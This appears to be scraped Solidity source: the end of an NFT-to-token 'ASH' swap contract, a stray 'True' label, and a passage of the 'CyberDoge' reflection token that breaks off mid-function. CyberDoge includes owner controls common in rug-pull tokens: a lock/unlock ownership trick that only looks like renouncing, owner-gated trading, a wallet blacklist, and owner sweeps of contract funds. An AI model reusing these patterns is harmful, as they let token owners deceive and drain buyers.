_collectionWhitelist[collection]; } /** * @dev Returns true if asset is in whitelist */ function isWhitelist(address collection, uint256 assetId) public view returns (bool) { return _assetWhitelist[collection][assetId]; } /** * @dev Adds or removes collections in blacklist */ function updateBlacklist(address[] memory collections, bool status) public onlyOwner { uint256 length = collections.length; for (uint256 i = 0; i < length; i++) { address collection = collections[i]; if (_collectionBlacklist[collection] != status) { _collectionBlacklist[collection] = status; emit CollectionBlacklist(collection, status); } } } /** * @dev Adds or removes assets in blacklist */ function updateBlacklist(address[] memory collections, uint256[] memory assetIds, bool status) public onlyOwner { uint256 length = collections.length; require(length == assetIds.length, "ASH: length of arrays is not equal"); for (uint256 i = 0; i < length; i++) { address collection = collections[i]; uint256 assetId = assetIds[i]; if (_assetBlacklist[collection][assetId] != status) { _assetBlacklist[collection][assetId] = status; emit AssetBlacklist(collection, assetId, status); } } } /** * @dev Returns true if collection is in blacklist */ function isBlacklist(address collection) public view returns (bool) { return _collectionBlacklist[collection]; } /** * @dev Returns true if asset is in blacklist */ function isBlacklist(address collection, uint256 assetId) public view returns (bool) { return _assetBlacklist[collection][assetId]; } /** * @dev Burns tokens with a specific `amount` */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev Calculates token amount that user will receive when burn */ function calculateToken(address collection, uint256 assetId) public view returns (bool, uint256) { bool whitelist = false; // Checks if collection or asset in whitelist if (_collectionWhitelist[collection] || _assetWhitelist[collection][assetId]) { whitelist = true; } uint256 exp = totalSupply().rdiv(1000000 * (10 ** 18)); uint256 multiplier = RealMath.rdiv(1, 2).rpow(exp); uint256 result; // Calculates token amount that will issue if (whitelist) { result = multiplier.rmul(1000 * (10 ** 18)); } else { result = multiplier.rmul(multiplier).rmul(2 * (10 ** 18)); } return (whitelist, result); } /** * @dev Issues ERC20 tokens */ function _issueToken(address collection, uint256 assetId, address account, bool isERC721) private { (bool whitelist, uint256 amount) = calculateToken(collection, assetId); if (!whitelist) { if (isERC721) { require(!isERC721Paused, "ASH: ERC721 swapping paused"); } else { require(!isERC1155Paused, "ASH: ERC1155 swapping paused"); } } require(amount > 0, "ASH: amount is invalid"); // Issues tokens _mint(account, amount); emit Swapped(collection, assetId, account, amount, whitelist, isERC721); } /** * @dev Swaps ERC721 to ERC20 */ function swapERC721(address collection, uint256 assetId) public started() notInBlacklist(collection, assetId) { address msgSender = _msgSender(); require(!msgSender.isContract(), "ASH: caller is invalid"); // Transfers ERC721 and lock in this smart contract ICollection(collection).transferFrom(msgSender, address(this), assetId); // Issues ERC20 tokens for caller _issueToken(collection, assetId, msgSender, true); } /** * @dev Swaps ERC1155 to ERC20 */ function swapERC1155(address collection, uint256 assetId) public started() notInBlacklist(collection, assetId) { address msgSender = _msgSender(); require(!msgSender.isContract(), "ASH: caller is invalid"); // Transfers ERC1155 and lock in this smart contract ICollection(collection).safeTransferFrom(msgSender, address(this), assetId, 1, ""); // Issues ERC20 tokens for caller _issueToken(collection, assetId, msgSender, false); } function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data) external returns (bytes4) { return _ERC1155_RECEIVED; } }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-08 */ //https://t.me/cyberdogeERC20 // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whethxer the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract CyberDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Cyber Doge"; string private _symbol = "rodeo"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 12; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 990000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 69000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // 